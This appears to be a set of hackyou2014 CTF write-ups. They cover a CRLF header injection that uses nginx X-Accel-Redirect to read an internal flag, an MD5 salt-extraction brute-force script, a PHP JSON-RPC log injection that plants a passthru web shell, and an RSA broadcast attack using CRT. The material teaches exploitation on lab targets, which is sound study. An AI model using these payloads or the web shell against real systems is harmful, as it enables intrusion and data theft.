# You may add here your
# server {
#   ...
# }
# statements for each of your virtual hosts to this file

##
# You should look at the following URL's in order to grasp a solid understanding
# of Nginx configuration files in order to fully unleash the power of Nginx.
# http://wiki.nginx.org/Pitfalls
# http://wiki.nginx.org/QuickStart
# http://wiki.nginx.org/Configuration
#
# Generally, you will want to move this file somewhere, and start with a clean
# file but keep this around for reference. Or just disable in sites-enabled.
#
# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
##

server {  
    #listen   80; ## listen for ipv4; this line is default and implied
    #listen   [::]:80 default ipv6only=on; ## listen for ipv6

    root /usr/share/nginx/www;
    index index.html index.htm;

    # Make site accessible from http://localhost/
    server_name localhost;

        location / {
        limit_req zone=one burst=5 nodelay;
            proxy_pass http://127.0.0.1:5001;
        }

        location = /secret/flag {
            root /home;
            internal;
        }
}


# another virtual host using mix of IP-, name-, and port-based configuration
#
#server {
#   listen 8000;
#   listen somename:8080;
#   server_name somename alias another.alias;
#   root html;
#   index index.html index.htm;
#
#   location / {
#       try_files $uri $uri/ /index.html;
#   }
#}


# HTTPS server
#
#server {
#   listen 443;
#   server_name localhost;
#
#   root html;
#   index index.html index.htm;
#
#   ssl on;
#   ssl_certificate cert.pem;
#   ssl_certificate_key cert.key;
#
#   ssl_session_timeout 5m;
#
#   ssl_protocols SSLv3 TLSv1;
#   ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv3:+EXP;
#   ssl_prefer_server_ciphers on;
#
#   location / {
#       try_files $uri $uri/ /index.html;
#   }
#}

The interesting bits are highlighed:

location = /secret/flag {  
    root /home;
    internal;
}

Look like the flag is located at http://109.233.61.11:27280/secret/flag but only internal requests will get through. This looks like a SSRF task but in the end it was something completly different.

At the same time we found that the return link was vulnerable to Header Manipulation:

http://109.233.61.11:27280/?retpath=/news  

The above URL generates a redirect to news

HTTP/1.1 307 TEMPORARY REDIRECT  
Server: nginx/1.1.19  
Date: Sun, 09 Feb 2014 17:07:47 GMT  
Content-Type: text/html; charset=utf-8  
Content-Length: 0  
Connection: keep-alive  
Location: /news  

And

http://109.233.61.11:27280/?repath=/secret/flag%0d%0aHost:%20127.0.0.1  

generated:

HTTP/1.1 307 TEMPORARY REDIRECT  
Server: nginx/1.1.19  
Date: Sun, 09 Feb 2014 17:10:22 GMT  
Content-Type: text/html; charset=utf-8  
Content-Length: 0  
Connection: keep-alive  
Location: /secret/flag  
Host: 127.0.0.1  

However that was not enough to trick nginx.

After researchig about Nginx we found out that it has a similar feature as Apache mod_xsendfile called X-Accel module that provides internal redirects. So basically nginx will intercept the responses and if it contains the X-Accel-redirect header, it will request the resource specified in the header and return the response back to the user. With that we were able to use the header manipulation vulnerability to craft the following request:

http://109.233.61.11:27280/?retpath=/%0D%0AX-Accel-Redirect%3A%20/secret/flag  

response was :

HTTP/1.1 200 OK  
Server: nginx/1.1.19  
Date: Sun, 09 Feb 2014 17:15:32 GMT  
Content-Type: text/html; charset=utf-8  
Last-Modified: Thu, 06 Feb 2014 13:55:07 GMT  
Connection: keep-alive  
Content-Length: 38

CTF{6e75d02b8e8329bb4b45c7dabd2e1da2}  

CURLing 300: emdee

This level got us crazy for a long time, in the end it was an easy task to solve. We were presented with a revolutionary md5 hashing system :)

Submitting a new secret got us the hash and the timestamp used for the hashing:

After playing with other approaches, including sending long secrets so that the timestamp was cut off, we found out that we could hash non printable characters and some of them were really interesting, specially the "del" one or \x7F

We can send del commands to delete previous introduced characters so hash(aa\xF7) == hash(a) for the same timestamp. We can used that to remove all the Salt characters except for the first one and then use the returned timestamp and hash to brute force the first character in the salt. And then repeat to extract the full salt.

To find out the length of the salt we can use the following script:

for j in xrange(1,64):  
    secret = '\x7F' * j
    res = requests.post(URL, data={'secret':secret})
    ts, h = parse(res.content)
    if hashlib.md5(ts).hexdigest() == h:
        SALTLEN = j
        break

We basically send n delete characters and check if the returned hash is the result of hashing the returned timestamp. This gives us a lenght of 40 chracters. Now we can brute force the salt with the following script:

import requests  
import re  
import hashlib

def parse(content):  
    m = re.search(r'your_secret \+ ([0-9.]+).*<em>([0-9a-f]+)', content)
    if not m:
        raise
    return m.group(1), m.group(2)

def bruteforce(prefix, h, ts):  
    for c in map(chr, range(32,126)):
        if hashlib.md5(prefix+c+ts).hexdigest() == h:
            return c
    return None
URL = 'http://109.233.61.11:34380/'  
SALTLEN = 0  
salt = ''

for j in xrange(1,64):  
    secret = '\x7F' * j
    res = requests.post(URL, data={'secret':secret})
    ts, h = parse(res.content)
    if hashlib.md5(ts).hexdigest() == h:
        SALTLEN = j
        break

for i in range(SALTLEN):  
    secret = '\x7F' * (39-i)
    if i == 39:
        secret = 'a'
    res = requests.post(URL, data={'secret':secret})
    ts, h = parse(res.content)
    if i == 39:
        ts = secret+ts
    c = bruteforce(salt, h, ts)
    salt += c
print salt  

Running the script returns us the salf: klgWCV7YgP0ugoiIXE9u0kSXpcnv3Z6eKmkIohJJ

Now we are said that the secret was a "short dictionary word" so we can run a dictionary attack to find the word that produces the hash so that md5(salt+word) = 40288d60073775070a7edcdcd1df9c56 which turns out to be "cow"

Flag was salt+word: klgWCV7YgP0ugoiIXE9u0kSXpcnv3Z6eKmkIohJJcow

CURLing 400: RPC

In this level we were presented with a "broken" link" saying:

Notice: Undefined index: rpc_json_call in /var/www/index.php on line 27  

So we crafted a POST request with the following JSON RPC parameter:

rpc_json_call={ "jsonrpc": "2.0","method": "function", "params": ["123"] }  

And we got a "invalid method. Try test." as result.

Nice, so we tried "test" as indicated and got a "42" as a result. We tried a bunch of methods with no luck until we tried with PHP magic method names and we got different responses for "construct" and "wakeup" all the remaining ones were returning the invalid method response.

"__wakeup" was not taking arguments and just returned a 200 OK

"__construct" was complaining about wrong arguments:

invalid method params! Valid is:  
    log_dir
    debug
    state

Ok, so we sent a request like

rpc_json_call={ "jsonrpc": "2.0","method": "__construct", "params": {"log_dir":"/var/www/kk.log", "debug":true, "state":"test"} }  

We were expecting that we could write in /var/www/kk.log but nothing appeared there.

Fortunately we realized that we could send several commands so we tried:

rpc_json_call=[  
 { "jsonrpc": "2.0","method": "__construct", "params": {"log_dir":"/var/www/kk.log", "debug":true, "state":"test"} },
 { "jsonrpc": "2.0","method": "__wakeup", "params": {} }
]

And voila, we got a beautiful "...loged" response so we checked the "kk.log" file and it was there:

1391967947  O:3:"rpc":1:{s:5:"state";s:4:"test";}  

It seems like a serialized string but more interetingly, our test string was there, so next step is try to inject a web shell:

rpc_json_call=[  
 { "jsonrpc": "2.0","method": "__construct", "params": {"log_dir":"/var/www/kk.php", "debug":true, "state":"<? echo file_get_contents('index.php');?>"} },
 { "jsonrpc": "2.0","method": "__wakeup", "params": {} }
]

And there we go a beautiful shell. All we have to do is:

rpc_json_call=[  
 { "jsonrpc": "2.0","method": "__construct", "params": {"log_dir":"/var/www/kk.php", "debug":true, "state":"<? passthru($_GET['cmd']);?>"} },
 { "jsonrpc": "2.0","method": "__wakeup", "params": {} }
]

And then:

http://109.233.61.11:8880/kk.php?cmd=cat%20/FLAG  

And flag:

1391968178 O:3:"rpc":1:{s:5:"state";s:28:"CTF{b15ffee30a117f418d1cede6faa57778} ";}  

#hackyou2014 Crypto400 write-up

In this level we are said that:

We have intercepted communication in a private network. It is used a strange protocol based on RSA cryptosystem.

Can you still prove that it is not secure enough and get the flag?

We are given a pcap file with a bunch of transmissions generated with this script:

#!/usr/bin/python
import sys  
import struct  
import zlib  
import socket

class Client:  
    def __init__(self, ip):
        #init
        self.ip = ip
        self.port = 0x1337
        #connect
        self.conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.conn.connect((self.ip, self.port))
        #recieve e
        self.e = self.Recv()
        #recieve n
        self.n = self.Recv()
        self.e, self.n = int(self.e), int(self.n)

    def Recv(self):
        #unpack data
        length = struct.unpack('!H', self.conn.recv(2))
        data = zlib.decompress(self.conn.recv(length[0]))
        return data

    def Pack(self, data):
        #compress data
        data = zlib.compress('%s' % data)
        length = struct.pack('!H', len(data))
        return '%s%s' % (length, data)

    def Send(self, msg):
        #send message
        msg = int(msg.encode('hex'),16)
        assert(msg < self.n)
        msg = pow(msg, self.e, self.n)
        self.conn.send(self.Pack(msg))
        print '[+] Message send'

    def __del__(self):
        #close connection
        self.conn.close()

if len(sys.argv) != 2:  
    print 'Usage: %s <ip>' % sys.argv[0]
    sys.exit(0)

flag = open('message.txt').readline()  
test = Client(sys.argv[1])  
test.Send(flag)  

Analyzing the protocol it looks like it goes something like:

  • Message to be send is read from external file
  • Connection is established against given IP on port 4919 (0x1337)
  • Server sends "e" packet [data lengt + zlib(data)]
  • Server sends "n" packet [data lengt + zlib(data)]
  • Both "e" and "n" are casted to integers
  • Client encodes message as integer
  • Client verifies message < n
  • Client encrpyts message using: enc = pow(message, e, n)
  • Client sends encrypted message packet [data lengt + zlib(data)]

If we explore the pcap with wireshark we can see a bunch of transmissions from Client to Server. We will need to process it in order to extract the message, the following python+scapy script will read all the interesting elements being transmited for each communication: e, n and flag:

#!/usr/bin/python
from scapy.all import *  
from struct import *  
import zlib

pkts = PcapReader("packets.pcap")  
for p in pkts:  
    pkt = p.payload
    if pkt.getlayer(Raw):
        raw = pkt.getlayer(Raw).load
        print "{0}:{1} -> {2}:{3}".format(pkt.src,pkt.sport,pkt.dst,pkt.dport)
        if str(pkt.sport) == "4919":
            elength = struct.unpack("!H",raw[0:2])[0]
            ezip = raw[2:2 + elength]
            e = int(zlib.decompress(ezip))
            nlength = struct.unpack("!H",raw[elength + 2 :elength + 4])[0]
            nzip =  raw[elength + 4:elength + 4 + nlength]
            n = int(zlib.decompress(nzip))
            print "e = {0}".format(e)
            print "n = {0}".format(n)
        if str(pkt.dport) == "4919":
            flaglength = struct.unpack("!H",raw[0:2])[0]
            flagzip = raw[2:2 + flaglength]
            encflag = int(zlib.decompress(flagzip))
            print "encflag = {0}".format(encflag)

As an example of one communication:

[email protected] ~/D/h/crypto400> python decrypter.py  
WARNING: No route found for IPv6 destination :: (no default route?)  
192.168.1.10:4919 -> 192.168.1.5:41260  
e = 17  
n = 27658060678038715780470429570597987144542213875178081185638364125349217264266787337266356239252353691015124430930507236433817624156361120645134956689683794554169169254645287613480048966030722812191823753459580311585866523664171185580520752591976764843551787247552790540802105791272457516072210641470817920157370947681970410336005860197552073763981521526496955541778866864446616347452950889748333309771690509856724643918258831575902389005661750464296924818808365029037591660424882588976607197196824985084365272217072807601787578262208488572448451271800547820717066767396857464594301327160705353075064322975430897551911  
192.168.1.5:41260 -> 192.168.1.10:4919  
encflag = 11433488612991990768536086698965180146550356348457563234735402111134701115830423042016221831657484325065472609147436229496479358788735270448637824809543880271526735635196884978639585020518147152207002685868984199742884443523231593245377292570809368330956970290791633106067116466080014631110596564728982066569618319541351401820732547227122970369299780366876340403436785218211729531092484723580223801525992510782266856454394478372421830988205823368541860973674259795969870252832216828042174346473447490557323038031625277043161510854825069681462499200978561823301487118145650943076528233694749306585201212677836363102350  

Analyzing the traffic, there are 19 communications with different modulos but always same exponent (e=17) which simplifies the problem

encrypted = (flag^17) % modulo  

We should only care to find F so that:

encflag1 = F % n1  
encflag2 = F % n2  
...
...
encflag18 = F % n18  
encflag19 = F % n19  

In order to solve the equation we can use the Chinese Remainder Theorem (CRT). For which I found a Python implementation that I needed to adjust a little bit:

from operator import mod

def eea(a,b):  
    """Extended Euclidean Algorithm for GCD"""
    v1 = [a,1,0]
    v2 = [b,0,1]
    while v2[0]<>0:
       p = v1[0]//v2[0] # floor division
       v2, v1 = map(lambda x, y: x-y,v1,[p*vi for vi in v2]), v2
    return v1

def inverse(m,k):  
     """
     Return b such that b*m mod k = 1, or 0 if no solution
     """
     v = eea(m,k)
     return (v[0]==1)*(v[1] % k)

def crt(ml,al):  
     """
     Chinese Remainder Theorem:
     ms = list of pairwise relatively prime integers
     as = remainders when x is divided by ms
     (ai is 'each in as', mi 'each in ms')

     The solution for x modulo M (M = product of ms) will be:
     x = a1*M1*y1 + a2*M2*y2 + ... + ar*Mr*yr (mod M),
     where Mi = M/mi and yi = (Mi)^-1 (mod mi) for 1 <= i <= r.
     """

     M  = reduce(lambda x, y: x*y,ml)        # multiply ml together
     Ms = [M/mi for mi in ml]   # list of all M/mi
     ys = [inverse(Mi, mi) for Mi,mi in zip(Ms,ml)] # uses inverse,eea
     return reduce(lambda x, y: x+y,[ai*Mi*yi for ai,Mi,yi in zip(al,Ms,ys)]) % M

F = crt(modulos,remainders)  

Once we find F, we can calculate its 17th root in order to find the integer version of the flag:

def root(x,n):  
    """Finds the integer component of the n'th root of x,
    an integer such that y ** n <= x < (y + 1) ** n.
    """
    high = 1
    while high ** n < x:
        high *= 2
    low = high/2
    while low < high:
        mid = (low + high) // 2
        if low < mid and mid**n < x:
            low = mid
        elif high > mid and mid**n > x:
            high = mid
        else:
            return mid
    return mid + 1

intflag = root(F,17)  

And from there its easy to get the flag:

flag = hex(intflag)[2:-1].decode('hex')  

Running our script returns:

[email protected] ~/D/h/crypto400> python decrypter.py  
WARNING: No route found for IPv6 destination :: (no default route?)  
Secret message! CTF{336b2196a2932c399c0340bc41cd362d}  

Cool!!!!

This is the full script:

#!/usr/bin/python
from scapy.all import *  
from struct import *  
import zlib  
from operator import mod

def eea(a,b):  
    """Extended Euclidean Algorithm for GCD"""
    v1 = [a,1,0]
    v2 = [b,0,1]
    while v2[0]<>0:
       p = v1[0]//v2[0] # floor division
       v2, v1 = map(lambda x, y: x-y,v1,[p*vi for vi in v2]), v2
    return v1

def inverse(m,k):  
     """
     Return b such that b*m mod k = 1, or 0 if no solution
     """
     v = eea(m,k)
     return (v[0]==1)*(v[1] % k)

def crt(ml,al):  
     """
     Chinese Remainder Theorem:
     ms = list of pairwise relatively prime integers
     as = remainders when x is divided by ms
     (ai is 'each in as', mi 'each in ms')

     The solution for x modulo M (M = product of ms) will be:
     x = a1*M1*y1 + a2*M2*y2 + ... + ar*Mr*yr (mod M),
     where Mi = M/mi and yi = (Mi)^-1 (mod mi) for 1 <= i <= r.
     """

     M  = reduce(lambda x, y: x*y,ml)        # multiply ml together
     Ms = [M/mi for mi in ml]   # list of all M/mi
     ys = [inverse(Mi, mi) for Mi,mi in zip(Ms,ml)] # uses inverse,eea
     return reduce(lambda x, y: x+y,[ai*Mi*yi for ai,Mi,yi in zip(al,Ms,ys)]) % M

def root(x,n):  
    """Finds the integer component of the n'th root of x,
    an integer such that y ** n <= x < (y + 1) ** n.
    """
    high = 1
    while high ** n < x:
        high *= 2
    low = high/2
    while low < high:
        mid = (low + high) // 2
        if low < mid and mid**n < x:
            low = mid
        elif high > mid and mid**n > x:
            high = mid
        else:
            return mid
    return mid + 1

pkts = PcapReader("packets.pcap")  
modulos = []  
remainders = []  
exponents = []  
for p in pkts:  
    pkt = p.payload
    if pkt.getlayer(Raw):
        raw = pkt.getlayer(Raw).load
        if str(pkt.sport) == "4919":
            elength = struct.unpack("!H",raw[0:2])[0]
            ezip = raw[2:2 + elength]
            e = int(zlib.decompress(ezip))
            nlength = struct.unpack("!H",raw[elength + 2 :elength + 4])[0]
            nzip =  raw[elength + 4:elength + 4 + nlength]
            n = int(zlib.decompress(nzip))
            modulos.append(n)
            exponents.append(e)
        if str(pkt.dport) == "4919":
            flaglength = struct.unpack("!H",raw[0:2])[0]
            flagzip = raw[2:2 + flaglength]
            encflag = int(zlib.decompress(flagzip))
            remainders.append(encflag)

F = crt(modulos,remainders)  
intflag = root(F,17)  
flag = hex(intflag)[2:-1].decode('hex')  
print flag  

Thanks for reading!

References: